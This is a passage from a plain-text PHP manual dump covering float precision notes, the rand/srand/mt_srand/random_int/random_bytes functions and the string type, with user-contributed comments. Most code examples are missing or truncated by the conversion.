JavaScript won't state an error, additional arguments are discarded without notice, but the function doBar(a) would get 0 as parameter. Similar problems could arise anywhere else (SQL, any string used as code somewhere else). The problem persists, if you use the "." operator instead of evaluating the variable in the string. So if you REALLY need to be sure to have the string correctly formatted, use number_format() to do it! 10 magicaltux at php dot net ¶6 years ago~ In some cases you may want to get the maximum value for a float without getting "INF". var_dump(1.8e308); will usually show: float(INF) I wrote a tiny function that will iterate in order to find the biggest non-infinite float value. It comes with a configurable multiplicator and affine values so you can share more CPU to get a more accurate estimate. I haven't seen better values with more affine, but well, the possibility is here so if you really thing it's worth the cpu time, just try to affine more. Best results seems to be with mul=2/affine=1. You can play with the values and see what you get. The good thing is this method will work on any system. > < 6 m dot lebkowski+php at gmail dot com ¶9 years ago~ Just another note about the locales. Consider the following code: > < This causes very serious problems in my opinion. In some locale combination the typecasting can be destructive. Maybe when locale decimal separator is ",", then (float)"2,5" should be recognized as "two and a half"? Anyway - bare that in mind and be very careful when casting floats to strings and back. 7 dev at maintainfit dot com ¶13 years ago~ I was programming an accounting application in MySql that required me to sum a collection of floats and ensure that they equal zero before commiting a transaction, but as seen above a sum of floats cannot always be trusted (as was my case). I kept getting a very small remainder (like 1.4512431231e-14). Since I had used number_format(num,2) to set the precision of the numbers in the database to only two (2) decimal places, when the time comes to calculate the sum I simply multiply every number by ten (10), therby eliminating and decimal places and leaving me with integers to preform my sum. This worked great. 7 zelko at mojeime dot com ¶5 years ago~ > < I get 0 both for 32-bit and 64-bit numbers. But, please don't use your own "functions" to "convert" from float to binary and vice versa. Looping performance in PHP is horrible. Using pack/unpack you use processor's encoding, which is always correct. In C++ you can access the same 32/64 data as either float/double or 32/64 bit integer. No "conversions". To get binary encoding: > < And my example from half a year ago: > < And please mind the Big and Little endian boys... -------------------------------------------------------------------------------- *rand* +------+~ | rand |~ +------+~ (PHP 4, PHP 5, PHP 7) rand — Generate a random integer Description~ > int rand ( void ) int rand ( int $min , int $max ) < If called without the optional min, max arguments rand() returns a pseudo-random integer between 0 and getrandmax(). If you want a random number between 5 and 15 (inclusive), for example, use rand(5, 15). Caution This function does not generate cryptographically secure values, and should not be used for cryptographic purposes. If you need a cryptographically secure value, consider using random_int(), random_bytes(), or openssl_random_pseudo_bytes() instead. Note: On some platforms (such as Windows), getrandmax() is only 32767. If you require a range larger than 32767, specifying min and max will allow you to create a range larger than this, or consider using mt_rand() instead. Note: As of PHP 7.1.0, rand() has been made an alias of mt_rand(). Parameters~ min ----- The lowest value to return (default: 0) max ----- The highest value to return (default: getrandmax()) Return Values~ A pseudo random value between min (or 0) and max (or getrandmax(), inclusive). Changelog Version Description 7.1.0 rand() has been made an alias of mt_rand(). Examples~ Example #1 rand() example > < The above example will output something similar to: 7771 22264 11 Notes~ Warning min max range must be within the range getrandmax(). i.e. (max - min) <= getrandmax() Otherwise, rand() may return poor-quality random numbers. See Also |srand|() - Seed the random number generator |getrandmax|() - Show largest possible random value |mt_rand|() - Generate a random value via the Mersenne Twister Random Number Generator |random_int|() - Generates cryptographically secure pseudo-random integers |random_bytes|() - Generates cryptographically secure pseudo-random bytes |openssl_random_pseudo_bytes|() - Generate a pseudo-random string of bytes User Contributed Notes 34 notes 21 Anonymous ¶8 years ago~ quick way to generate randomish numbers and simple strings. no messing around with functions, so you can just pop the line into the middle of your existing code. not the most perfect for sure, but ok for plenty of situations... > < hope someone finds it useful for somthing. regards, deeeeeen alxndr0u 11 matheus at matheusloureiro dot com ¶4 years ago~ If you are looking for generate a random expression, like password with alphanumeric or any other character, use this function: > < 14 phpdev at dunnbypaul dot net ¶10 years ago~ Here's an interesting note about the inferiority of the rand() function. Try, for example, the following code... > < which produces something similar to the following output (on my windows box, where RAND_MAX is 32768): Array ( [0] => 31 [1] => 0 [2] => 0 [3] => 31 [4] => 0 [5] => 0 [6] => 30 [7] => 0 [8] => 0 [9] => 31 [10] => 0 ) Within this range only multiples of 3 are being selected. Also note that values that are filled are always 30 or 31 (no other values! really!) Now replace rand() with mt_rand() and see the difference... Array ( [0] => 8 [1] => 8 [2] => 14 [3] => 16 [4] => 9 [5] => 11 [6] => 8 [7] => 9 [8] => 7 [9] => 7 [10] => 9 ) Much more randomly distributed! Conclusion: mt_rand() is not just faster, it is a far superior algorithm. 9 Ishtar ¶9 years ago~ A small comment on phpdev-dunnbypauls conclusion that rand() only generates numbers that are a multiply of 3. > < Since, 100000/32768=3.05 you get multiples of 3. The random integer will be multiplied by 3.05 to fit between 0 and 100000. rand() works fine, if you don't ask for bigger numbers then RAND_MAX. 6 shiawase at gmail dot com ¶5 years ago~ Another one-liner to generate strings: > < The strings can be repeated to have the possibility that a character appears multiple times. 6 whatchildisthis at gmail dot com ¶8 years ago~ I also enjoy making one-liners. Here's a non-regular expression approach. It generates a random 32 character string consisting of, by default, only A-Z, a-z, and 0-9, but you can change the value of $a for other characters. The random string will be in variable $s after this line. > < If you don't want the same character to appear beside itself, use this: > < For those of you who want both as a function, use this: > < string $c is the string of characters to use. integer $l is how long you want the string to be. boolean $u is whether or not a character can appear beside itself. Examples: rand_chars("ABCEDFG", 10) == GABGFFGCDA rand_chars("ABCEDFG", 10, TRUE) == CBGFAEDFEC -------------------------------------------------------------------------------- *getrandmax* +------------+~ | getrandmax |~ +------------+~ (PHP 4, PHP 5, PHP 7) getrandmax — Show largest possible random value Description~ > int getrandmax ( void ) < Returns the maximum value that can be returned by a call to rand(). Return Values~ The largest possible random value returned by rand() See Also~ |rand|() - Generate a random integer |srand|() - Seed the random number generator |mt_getrandmax|() - Show largest possible random value -------------------------------------------------------------------------------- *srand* +-------+~ | srand |~ +-------+~ (PHP 4, PHP 5, PHP 7) srand — Seed the random number generator Description~ > void srand ([ int $seed ] ) < Seeds the random number generator with seed or with a random value if no seed is given. Note: There is no need to seed the random number generator with srand() or mt_srand() as this is done automatically. Note: As of PHP 7.1.0, srand() has been made an alias of mt_srand(). Parameters~ seed ----- An arbitrary integer seed value. Return Values~ No value is returned. Changelog~ Version Description 7.1.0 srand() has been made an alias of mt_srand(). Examples~ Example #1 srand() example > < See Also~ |rand|() - Generate a random integer |getrandmax|() - Show largest possible random value |mt_srand|() - Seeds the Mersenne Twister Random Number Generator User Contributed Notes 17 notes 9 Niels Keurentjes ¶6 years ago~ Keep in mind that the Suhosin patch which is installed by default on many PHP-installs such as Debian and DirectAdmin completely disables the srand and mt_srand functions for encryption security reasons. To generate reproducible random numbers from a fixed seed on a Suhosin-hardened server you will need to include your own pseudorandom generator code. 6 harmen at no dot spam dot rdzl dot nl ¶7 years ago~ To generate a random number which is different every day, I used the number of days after unix epoch as a seed: > < My provider upgraded the php server recently, and calling srand(seed) does not seem to set the seed anymore. To let srand set the seed, add the following line to your .htaccess file php_value suhosin.srand.ignore 0 Kudos to doc_z (http://www.webmasterworld.com/php/3777515.htm) Harmen -------------------------------------------------------------------------------- *mt_srand* +----------+~ | mt_srand |~ +----------+~ (PHP 4, PHP 5, PHP 7) mt_srand — Seeds the Mersenne Twister Random Number Generator Description~ > void mt_srand ([ int $seed [, int $mode = MT_RAND_MT19937 ]] ) < Seeds the random number generator with seed or with a random value if no seed is given. Note: There is no need to seed the random number generator with srand() or mt_srand() as this is done automatically. Parameters seed ----- An arbitrary integer seed value. mode ----- Use one of the following constants to specify the implementation of the algorithm to use. Constant Description MT_RAND_MT19937 Uses the fixed, correct, Mersenne Twister implementation, available as of PHP 7.1.0. MT_RAND_PHP Uses an incorrect Mersenne Twister implementation which was used as the default up till PHP 7.1.0. This mode is available for backward compatibility. Return Values No value is returned. Changelog~ Version Description 7.1.0 srand() has been made an alias of mt_srand(). 7.1.0 mt_rand()has been updated to use the fixed, correct, version of the Mersenne Twister algorithm. To fall back to the old behaviour, use mt_srand() with MT_RAND_PHP as the second paramter. 5.2.1 The Mersenne Twister implementation in PHP now uses a new seeding algorithm by Richard Wagner. Identical seeds no longer produce the same sequence of values they did in previous versions. This behavior is not expected to change again, but it is considered unsafe to rely upon it nonetheless. Examples~ Example #1 mt_srand() example > < See Also |mt_rand|() - Generate a random value via the Mersenne Twister Random Number Generator |mt_getrandmax|() - Show largest possible random value |srand|() - Seed the random number generato -------------------------------------------------------------------------------- *random_int* +------------+~ | random_int |~ +------------+~ (PHP 7) random_int — Generates cryptographically secure pseudo-random integers Description~ > int random_int ( int $min , int $max ) < Generates cryptographic random integers that are suitable for use where unbiased results are critical, such as when shuffling a deck of cards for a poker game. The sources of randomness used for this function are as follows: On Windows, » CryptGenRandom() will always be used. On Linux, the » getrandom(2) syscall will be used if available. On other platforms, /dev/urandom will be used. If none of the aforementioned sources are available, then an Exception will be thrown. Note: Although this function was added to PHP in PHP 7.0, a » userland implementation is available for PHP 5.2 to 5.6, inclusive. Parameters~ min ----- The lowest value to be returned, which must be PHP_INT_MIN or higher. max ----- The highest value to be returned, which must be less than or equal to PHP_INT_MAX. Return Values~ Returns a cryptographically secure random integer in the range min to max, inclusive. Errors/Exceptions~ If an appropriate source of randomness cannot be found, an Exception will be thrown. If invalid parameters are given, a TypeError will be thrown. If max is less than min, an Error will be thrown. Examples~ Example #1 random_int() example > < The above example will output something similar to: int(248) int(-898) See Also~ |random_bytes|() - Generates cryptographically secure pseudo-random bytes User Contributed Notes 2 notes 8 s rotondo90 at gmail com ¶8 months ago~ Here is a simple backporting function, it works for PHP >= 5.1 > $max) { trigger_error('$max can\'t be lesser than $min', E_USER_WARNING); return null; } $range = $counter = $max - $min; $bits = 1; while ($counter >>= 1) { ++$bits; } $bytes = (int)max(ceil($bits/8), 1); $bitmask = pow(2, $bits) - 1; if ($bitmask >= PHP_INT_MAX) { $bitmask = PHP_INT_MAX; } do { $result = hexdec( bin2hex( mcrypt_create_iv($bytes, MCRYPT_DEV_URANDOM) ) ) & $bitmask; } while ($result > $range); return $result + $min; } } ?> < Randomness test > < -------------------------------------------------------------------------------- *random_bytes* +--------------+~ | random_bytes |~ +--------------+~ (PHP 7) random_bytes — Generates cryptographically secure pseudo-random bytes Description > string random_bytes ( int $length ) < Generates an arbitrary length string of cryptographic random bytes that are suitable for cryptographic use, such as when generating salts, keys or initialization vectors. The sources of randomness used for this function are as follows: On Windows, » CryptGenRandom() will always be used. On Linux, the » getrandom(2) syscall will be used if available. On other platforms, /dev/urandom will be used. If none of the aforementioned sources are available, then an Exception will be thrown. Note: Although this function was added to PHP in PHP 7.0, a » userland implementation is available for PHP 5.2 to 5.6, inclusive. Parameters~ length ------ The length of the random string that should be returned in bytes. Return Values~ Returns a string containing the requested number of cryptographically secure random bytes. Errors/Exceptions~ If an appropriate source of randomness cannot be found, an Exception will be thrown. If invalid parameters are given, a TypeError will be thrown. If an invalid length of bytes is given, an Error will be thrown. Examples Example #1 random_bytes() example > < The above example will output something similar to: string(10) "385e33f741" See Also~ |random_int|() - Generates cryptographically secure pseudo-random integers |openssl_random_pseudo_bytes|() - Generate a pseudo-random string of bytes |bin2hex|() - Convert binary data into hexadecimal representation User Contributed Notes 1 note 11 akam at akameng dot com ¶1 year ago~ I used below function to create random token, and also a salt from the token. I used it in my application to prevent CSRF attack. > < -------------------------------------------------------------------------------- *Strings* +---------+~ | Strings |~ +---------+~ A string is series of characters, where a character is the same as a byte. This means that PHP only supports a 256-character set, and hence does not offer native Unicode support. See details of the string type. Note: As of PHP 7.0.0, there are no particular restrictions regarding the length of a string on 64-bit builds. On 32-bit builds and in earlier versions, a string can be as large as up to 2GB (2147483647 bytes maximum) Syntax~ A string literal can be specified in four different ways: single quoted double quoted heredoc syntax nowdoc syntax (since PHP 5.3.0) Single quoted ¶ The simplest way to specify a string is to enclose it in single quotes (the character '). To specify a literal single quote, escape it with a backslash (\). To specify a literal backslash, double it (\\). All other instances of backslash will be treated as a literal backslash: this means that the other escape sequences you might be used to, such as \r or \n, will be output literally as specified rather than having any special meaning. Note: Unlike the double-quoted and heredoc syntaxes, variables and escape sequences for special characters will not be expanded when they occur in single quoted strings. > Double quoted~ If the string is enclosed in double-quotes ("), PHP will interpret the following escape sequences for special characters: Escaped characters Sequence Meaning \n linefeed (LF or 0x0A (10) in ASCII) \r carriage return (CR or 0x0D (13) in ASCII) \t horizontal tab (HT or 0x09 (9) in ASCII) \v vertical tab (VT or 0x0B (11) in ASCII) (since PHP 5.2.5) \e escape (ESC or 0x1B (27) in ASCII) (since PHP 5.4.4) \f form feed (FF or 0x0C (12) in ASCII) (since PHP 5.2.5) \\ backslash \$ dollar sign \" double-quote \[0-7]{1,3} the sequence of characters matching the regular expression is a character in octal notation, which silently overflows to fit in a byte (e.g. "\400" === "\000") \x[0-9A-Fa-f]{1,2} the sequence of characters matching the regular expression is a character in hexadecimal notation \u{[0-9A-Fa-f]+} the sequence of characters matching the regular expression is a Unicode codepoint, which will be output to the string as that codepoint's UTF-8 representation (added in PHP 7.0.0) As in single quoted strings, escaping any other character will result in the backslash being printed too. Before PHP 5.1.1, the backslash in \{$var} had not been printed. The most important feature of double-quoted strings is the fact that variable names will be expanded. See string parsing for details. Heredoc~ A third way to delimit strings is the heredoc syntax: <<<. After this operator, an identifier is provided, then a newline. The string itself follows, and then the same identifier again to close the quotation. The closing identifier must begin in the first column of the line. Also, the identifier must follow the same naming rules as any other label in PHP: it must contain only alphanumeric characters and underscores, and must start with a non-digit character or underscore. Warning It is very important to note that the line with the closing identifier must contain no other characters, except a semicolon (;). That means especially that the identifier may not be indented, and there may not be any spaces or tabs before or after the semicolon. It's also important to realize that the first character before the closing identifier must be a newline as defined by the local operating system. This is \n on UNIX systems, including Mac OS X. The closing delimiter must also be followed by a newline. If this rule is broken and the closing identifier is not "clean", it will not be considered a closing identifier, and PHP will continue looking for one. If a proper closing identifier is not found before the end of the current file, a parse error will result at the last line. Example #1 Invalid example > Example #2 Valid example < Heredocs can not be used for initializing class properties. Since PHP 5.3, this limitation is valid only for heredocs containing variables. Heredoc text behaves just like a double-quoted string, without the double quotes. This means that quotes in a heredoc do not need to be escaped, but the escape codes listed above can still be used. Variables are expanded, but the same care must be taken when expressing complex variables inside a heredoc as with strings. Example #3 Heredoc string quoting example > foo = 'Foo'; $this->bar = array('Bar1', 'Bar2', 'Bar3'); } } $foo = new foo(); $name = 'MyName'; echo <<foo. Now, I am printing some {$foo->bar[1]}. This should print a capital 'A': \x41 EOT; ?> < The above example will output: > My name is "MyName". I am printing some Foo. Now, I am printing some Bar2. This should print a capital 'A': A It is also possible to use the Heredoc syntax to pass data to function arguments: < Example #4 Heredoc in arguments example > < As of PHP 5.3.0, it's possible to initialize static variables and class properties/constants using the Heredoc syntax: Example #5 Using Heredoc to initialize static values > < Starting with PHP 5.3.0, the opening Heredoc identifier may optionally be enclosed in double quotes: Example #6 Using double quotes in Heredoc > < Nowdoc~ Nowdocs are to single-quoted strings what heredocs are to double-quoted strings. A nowdoc is specified similarly to a heredoc, but no parsing is done inside a nowdoc. The construct is ideal for embedding PHP code or other large blocks of text without the need for escaping. It shares some features in common with the SGML construct, in that it declares a block of text which is not for parsing. A nowdoc is identified with the same <<< sequence used for heredocs, but the identifier which follows is enclosed in single quotes, e.g. <<<'EOT'. All the rules for heredoc identifiers also apply to nowdoc identifiers, especially those regarding the appearance of the closing identifier. Example #7 Nowdoc string quoting example > foo = 'Foo'; $this->bar = array('Bar1', 'Bar2', 'Bar3'); } } $foo = new foo(); $name = 'MyName'; echo <<<'EOT' My name is "$name". I am printing some $foo->foo. Now, I am printing some {$foo->bar[1]}. This should not print a capital 'A': \x41 EOT; ?> < The above example will output: > My name is "$name". I am printing some $foo->foo. Now, I am printing some {$foo->bar[1]}. This should not print a capital 'A': \x41 Example #8 Static data example > < Note: Nowdoc support was added in PHP 5.3.0. Variable parsing~ When a string is specified in double quotes or with heredoc, variables are parsed within it. There are two types of syntax: a simple one and a complex one. The simple syntax is the most common and convenient. It provides a way to embed a variable, an array value, or an object property in a string with a minimum of effort. The complex syntax can be recognised by the curly braces surrounding the expression. Simple syntax If a dollar sign ($) is encountered, the parser will greedily take as many tokens as possible to form a valid variable name. Enclose the variable name in curly braces to explicitly specify the end of the name. > < The above example will output: > He drank some apple juice. He drank some juice made of . He drank some juice made of apples. < Similarly, an array index or an object property can be parsed. With array indices, the closing square bracket (]) marks the end of the index. The same rules apply to object properties as to simple variables. Example #9 Simple syntax example > "purple"); echo "He drank some $juices[0] juice.".PHP_EOL; echo "He drank some $juices[1] juice.".PHP_EOL; echo "He drank some $juices[koolaid1] juice.".PHP_EOL; class people { public $john = "John Smith"; public $jane = "Jane Smith"; public $robert = "Robert Paulsen"; public $smith = "Smith"; } $people = new people(); echo "$people->john drank some $juices[0] juice.".PHP_EOL; echo "$people->john then said hello to $people->jane.".PHP_EOL; echo "$people->john's wife greeted $people->robert.".PHP_EOL; echo "$people->robert greeted the two $people->smiths."; // Won't work ?> < The above example will output: > He drank some apple juice. He drank some orange juice. He drank some purple juice. John Smith drank some apple juice. John Smith then said hello to Jane Smith. John Smith's wife greeted Robert Paulsen. Robert Paulsen greeted the two . < As of PHP 7.1.0 also negative numeric indices are supported. Example #10 Negative numeric indices > 'foo']; echo "The element at index -3 is $array[-3].", PHP_EOL; ?> < The above example will output: The element at index -3 is foo. For anything more complex, you should use the complex syntax. Complex (curly) syntax This isn't called complex because the syntax is complex, but because it allows for the use of complex expressions. Any scalar variable, array element or object property with a string representation can be included via this syntax. Simply write the expression the same way as it would appear outside the string, and then wrap it in { and }. Since { can not be escaped, this syntax will only be recognised when the $ immediately follows the {. Use {\$ to get a literal {$. Some examples to make it clear: > width}00 centimeters broad."; // Works, quoted keys only work using the curly brace syntax echo "This works: {$arr['key']}"; // Works echo "This works: {$arr[4][3]}"; // This is wrong for the same reason as $foo[bar] is wrong outside a string. // In other words, it will still work, but only because PHP first looks for a // constant named foo; an error of level E_NOTICE (undefined constant) will be // thrown. echo "This is wrong: {$arr[foo][3]}"; // Works. When using multi-dimensional arrays, always use braces around arrays // when inside of strings echo "This works: {$arr['foo'][3]}"; // Works. echo "This works: " . $arr['foo'][3]; echo "This works too: {$obj->values[3]->name}"; echo "This is the value of the var named $name: {${$name}}"; echo "This is the value of the var named by the return value of getName(): {${getName()}}"; echo "This is the value of the var named by the return value of \$object->getName(): {${$object->getName()}}"; // Won't work, outputs: This is the return value of getName(): {getName()} echo "This is the return value of getName(): {getName()}"; ?> < It is also possible to access class properties using variables within strings using this syntax. > $bar}\n"; echo "{$foo->{$baz[1]}}\n"; ?> < The above example will output: I am bar. I am bar. Note: Functions, method calls, static class variables, and class constants inside {$} work since PHP 5. However, the value accessed will be interpreted as the name of a variable in the scope in which the string is defined. Using single curly braces ({}) will not work for accessing the return values of functions or methods or the values of class constants or static class variables. > < String access and modification by character~ Characters within strings may be accessed and modified by specifying the zero-based offset of the desired character after the string using square array brackets, as in $str[42]. Think of a string as an array of characters for this purpose. The functions substr() and substr_replace() can be used when you want to extract or replace more than 1 character. Note: As of PHP 7.1.0, negative string offsets are also supported. These specify the offset from the end of the string. Formerly, negative offsets emitted E_NOTICE for reading (yielding an empty string) and E_WARNING for writing (leaving the string untouched). Note: Strings may also be accessed using braces, as in $str{42}, for the same purpose. Warning Writing to an out of range offset pads the string with spaces. Non-integer types are converted to integer. Illegal offset type emits E_NOTICE. Only the first character of an assigned string is used. As of PHP 7.1.0, assigning an empty string throws a fatal error. Formerly, it assigned a NULL byte. Warning Internally, PHP strings are byte arrays. As a result, accessing or modifying a string using array brackets is not multi-byte safe, and should only be done with strings that are in a single-byte encoding such as ISO-8859-1. Note: As of PHP 7.1.0, applying the empty index operator on a string throws a fatal error. Formerly, the string was silently converted to an array. Example #11 Some string examples > < As of PHP 5.4 string offsets have to either be integers or integer-like strings, otherwise a warning will be thrown. Previously an offset like "foo" was silently cast to 0. Example #12 Differences between PHP 5.3 and PHP 5.4 > < Output of the above example in PHP 5.3: > string(1) "b" bool(true) string(1) "b" bool(true) string(1) "a" bool(true) string(1) "b" bool(true) < Output of the above example in PHP 5.4: > string(1) "b" bool(true) Warning: Illegal string offset '1.0' in /tmp/t.php on line 7 string(1) "b" bool(false) Warning: Illegal string offset 'x' in /tmp/t.php on line 9 string(1) "a" bool(false) string(1) "b" bool(false) < Note: Accessing variables of other types (not including arrays or objects implementing the appropriate interfaces) using [] or {} silently returns NULL. Note: PHP 5.5 added support for accessing characters within string literals using [] or {}. Useful functions and operators~ Strings may be concatenated using the '.' (dot) operator. Note that the '+' (addition) operator will not work for this. See String operators for more information. There are a number of useful functions for string manipulation. See the string functions section for general functions, and the regular expression functions or the Perl-compatible regular expression functions for advanced find & replace functionality. There are also functions for URL strings, and functions to encrypt/decrypt strings (mcrypt and mhash). Finally, see also the character type functions. Converting to string~ A value can be converted to a string using the (string) cast or the strval() function. String conversion is automatically done in the scope of an expression where a string is needed. This happens when using the echo or print functions, or when a variable is compared to a string. The sections on Types and Type Juggling will make the following clearer. See also the settype() function. A boolean TRUE value is converted to the string "1". Boolean FALSE is converted to "" (the empty string). This allows conversion back and forth between boolean and string values. An integer or float is converted to a string representing the number textually (including the exponent part for floats). Floating point numbers can be converted using exponential notation (4.1E+6). Note: The decimal point character is defined in the script's locale (category LC_NUMERIC). See the setlocale() function. Arrays are always converted to the string "Array"; because of this, echo and print can not by themselves show the contents of an array. To view a single element, use a construction such as echo $arr['foo']. See below for tips on viewing the entire contents. In order to convert objects to string magic method __toString must be used. Resources are always converted to strings with the structure "Resource id #1", where 1 is the resource number assigned to the resource by PHP at runtime. While the exact structure of this string should not be relied on and is subject to change, it will always be unique for a given resource within the lifetime of a script being executed (ie a Web request or CLI process) and won't be reused. To get a resource's type, use the get_resource_type() function. NULL is always converted to an empty string. As stated above, directly converting an array, object, or resource to a string does not provide any useful information about the value beyond its type. See the functions print_r() and var_dump() for more effective means of inspecting the contents of these types. Most PHP values can also be converted to strings for permanent storage. This method is called serialization, and is performed by the serialize() function. If the PHP engine was built with WDDX support, PHP values can also be serialized as well-formed XML text. String conversion to numbers~ When a string is evaluated in a numeric context, the resulting value and type are determined as follows. If the string does not contain any of the characters '.', 'e', or 'E' and the numeric value fits into integer type limits (as defined by PHP_INT_MAX), the string will be evaluated as an integer. In all other cases it will be evaluated as a float. The value is given by the initial portion of the string. If the string starts with valid numeric data, this will be the value used. Otherwise, the value will be 0 (zero). Valid numeric data is an optional sign, followed by one or more digits (optionally containing a decimal point), followed by an optional exponent. The exponent is an 'e' or 'E' followed by one or more digits. > < For more information on this conversion, see the Unix manual page for strtod(3). To test any of the examples in this section, cut and paste the examples and insert the following line to see what's going on: > \n"; ?> < Do not expect to get the code of one character by converting it to integer, as is done in C. Use the ord() and chr() functions to convert between ASCII codes and characters. Details of the String Type~ The string in PHP is implemented as an array of bytes and an integer indicating the length of the buffer. It has no information about how those bytes translate to characters, leaving that task to the programmer. There are no limitations on the values the string can be composed of; in particular, bytes with value 0 (“NUL bytes”) are allowed anywhere in the string (however, a few functions, said in this manual not to be “binary safe”, may hand off the strings to libraries that ignore data after a NUL byte.) This nature of the string type explains why there is no separate “byte” type in PHP – strings take this role. Functions that return no textual data – for instance, arbitrary data read from a network socket – will still return strings. Given that PHP does not dictate a specific encoding for strings, one might wonder how string literals are encoded. For instance, is the string "á" equivalent to "\xE1" (ISO-8859-1), "\xC3\xA1" (UTF-8, C form), "\x61\xCC\x81" (UTF-8, D form) or any other possible representation? The answer is that string will be encoded in whatever fashion it is encoded in the script file. Thus, if the script is written in ISO-8859-1, the string will be encoded in ISO-8859-1 and so on. However, this does not apply if Zend Multibyte is enabled; in that case, the script may be written in an arbitrary encoding (which is explicity declared or is detected) and then converted to a certain internal encoding, which is then the encoding that will be used for the string literals. Note that there are some constraints on the encoding of the script (or on the internal encoding, should Zend Multibyte be enabled) – this almost always means that this encoding should be a compatible superset of ASCII, such as UTF-8 or ISO-8859-1. Note, however, that state-dependent encodings where the same byte values can be used in initial and non-initial shift states may be problematic. Of course, in order to be useful, functions that operate on text may have to make some assumptions about how the string is encoded. Unfortunately, there is much variation on this matter throughout PHP’s functions: Some functions assume that the string is encoded in some (any) single-byte encoding, but they do not need to interpret those bytes as specific characters. This is case of, for instance, substr(), strpos(), strlen() or strcmp(). Another way to think of these functions is that operate on memory buffers, i.e., they work with bytes and byte offsets. Other functions are passed the encoding of the string, possibly they also assume a default if no such information is given. This is the case of htmlentities() and the majority of the functions in the mbstring extension. Others use the current locale (see setlocale()), but operate byte-by-byte. This is the case of strcasecmp(), strtoupper() and ucfirst(). This means they can be used only with single-byte encodings, as long as the encoding is matched by the locale. For instance strtoupper("á") may return "Á" if the locale is correctly set and á is encoded with a single byte. If it is encoded in UTF-8, the correct result will not be returned and the resulting string may or may not be returned corrupted, depending on the current locale. Finally, they may just assume the string is using a specific encoding, usually UTF-8. This is the case of most functions in the intl extension and in the PCRE extension (in the last case, only when the u modifier is used). Although this is due to their special purpose, the function utf8_decode() assumes a UTF-8 encoding and the function utf8_encode() assumes an ISO-8859-1 encoding. Ultimately, this means writing correct programs using Unicode depends on carefully avoiding functions that will not work and that most likely will corrupt the data and using instead the functions that do behave correctly, generally from the intl and mbstring extensions. However, using functions that can handle Unicode encodings is just the beginning. No matter the functions the language provides, it is essential to know the Unicode specification. For instance, a program that assumes there is only uppercase and lowercase is making a wrong assumption. User Contributed Notes 46 notes~ 36 John ¶4 months ago~ I've been a PHP programmer for a decade, and I've always been using the "single-quoted literal" and "period-concatenation" method of string creation. But I wanted to answer the performance question once and for all, using sufficient numbers of iterations and a modern PHP version. For my test, I used: php -v PHP 7.0.12 (cli) (built: Oct 14 2016 09:56:59) ( NTS ) Copyright (c) 1997-2016 The PHP Group Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies ------ Results: ------- * 100 million iterations: $outstr = 'literal' . $n . $data . $int . $data . $float . $n; 63608ms (34.7% slower) $outstr = "literal$n$data$int$data$float$n"; 47218ms (fastest) $outstr =<<awesome()}!". You cannot do that with the "${var}" style. 3. Feel free to use single-quoted strings for TOTALLY literal strings such as array keys/values, variable values, etc, since they are a TINY bit faster when you want literal non-parsed strings. But I had to do 1 billion iterations to find a 1.55% measurable difference. So the only real reason I'd consider using single-quoted strings for my literals is for code cleanliness, to make it super clear that the string is literal. 4. If you think another method such as sprintf() or 'this'.$var.'style' is more readable, and you don't care about maximizing performance, then feel free to use whatever concatenation method you prefer! 78 gtisza at gmail dot com ¶5 years ago~ The documentation does not mention, but a closing semicolon at the end of the heredoc is actually interpreted as a real semicolon, and as such, sometimes leads to syntax errors. This works: > < This does not: > < Without semicolon, it works fine: > < 13 garbage at iglou dot eu ¶10 months ago~ You can use string like array of char (like C) > $a = "String array test"; var_dump($a); // Return string(17) "String array test" var_dump($a[0]); // Return string(1) "S" // -- With array cast -- var_dump((array) $a); // Return array(1) { [0]=> string(17) "String array test"} var_dump((array) $a[0]); // Return string(17) "S" < - Norihiori 13 chAlx at findme dot if dot u dot need ¶8 years ago~ To save Your mind don't read previous comments about dates ;) When both strings can be converted to the numerics (in ("$a" > "$b") test) then resulted numerics are used, else FULL strings are compared char-by-char: > '01.23'); // bool(false) var_dump('1.22.00' > '01.23.00'); // bool(true) var_dump('1-22-00' > '01-23-00'); // bool(true) var_dump((float)'1.22.00' > (float)'01.23.00'); // bool(false) ?> < 11 lelon at lelon dot net ¶12 years ago~ You can use the complex syntax to put the value of both object properties AND object methods inside a string. For example... > one} bar {$test->two()}"; ?> < Will output "foo 1 bar 2". However, you cannot do this for all values in your namespace. Class constants and static properties/methods will not work because the complex syntax looks for the '$'. > < This will output "foo {Test::one} bar". Constants and static properties require you to break up the string. 8 php at richardneill dot org ¶4 years ago~ Leading zeroes in strings are (least-surprise) not treated as octal. Consider: $x = "0123" + 0; $y = 0123 + 0; echo "x is $x, y is $y"; //prints "x is 123, y is 83" in other words: * leading zeros in numeric literals in the source-code are interpreted as "octal", c.f. strtol(). * leading zeros in strings (eg user-submitted data), when cast (implicitly or explicitly) to integer are ignored, and considered as decimal, c.f. strtod(). 8 headden at karelia dot ru ¶7 years ago~ Here is an easy hack to allow double-quoted strings and heredocs to contain arbitrary expressions in curly braces syntax, including constants and other function calls: > < 8 atnak at chejz dot com ¶12 years ago~ Here is a possible gotcha related to oddness involved with accessing strings by character past the end of the string: > $string = 'a'; var_dump($string[2]); // string(0) "" var_dump($string[7]); // string(0) "" $string[7] === ''; // TRUE < It appears that anything past the end of the string gives an empty string.. However, when E_NOTICE is on, the above examples will throw the message: Notice: Uninitialized string offset: N in FILE on line LINE This message cannot be specifically masked with @$string[7], as is possible when $string itself is unset. > isset($string[7]); // FALSE $string[7] === NULL; // FALSE < Even though it seems like a not-NULL value of type string, it is still considered unset. -------------------------------------------------------------------------------- *String_Functions* +------------------+~ | String Functions |~ +------------------+~ See Also~ For even more powerful string handling and manipulating functions take a look at the POSIX regular expression functions and the Perl compatible regular expression functions. Table of Contents~ |addcslashes| — Quote string with slashes in a C style |addslashes| — Quote string with slashes |bin2hex| — Convert binary data into hexadecimal representation |chop| — Alias of rtrim |chr| — Return a specific character |chunk_split| — Split a string into smaller chunks |convert_cyr_string| — Convert from one Cyrillic character set to another |convert_uudecode| — Decode a uuencoded string |convert_uuencode| — Uuencode a string |count_chars| — Return information about characters used in a string |crc32| — Calculates the crc32 polynomial of a string |crypt| — One-way string hashing |echo| — Output one or more strings |explode| — Split a string by string |fprintf| — Write a formatted string to a stream |get_html_translation_table| — Returns the translation table used by htmlspecialchars and htmlentities |hebrev| — Convert logical Hebrew text to visual text |hebrevc| — Convert logical Hebrew text to visual text with newline conversion |hex2bin| — Decodes a hexadecimally encoded binary string |html_entity_decode| — Convert all HTML entities to their applicable characters |htmlentities| — Convert all applicable characters to HTML entities |htmlspecialchars_decode| — Convert special HTML entities back to characters |htmlspecialchars| — Convert special characters to HTML entities |implode| — Join array elements with a string |join| — 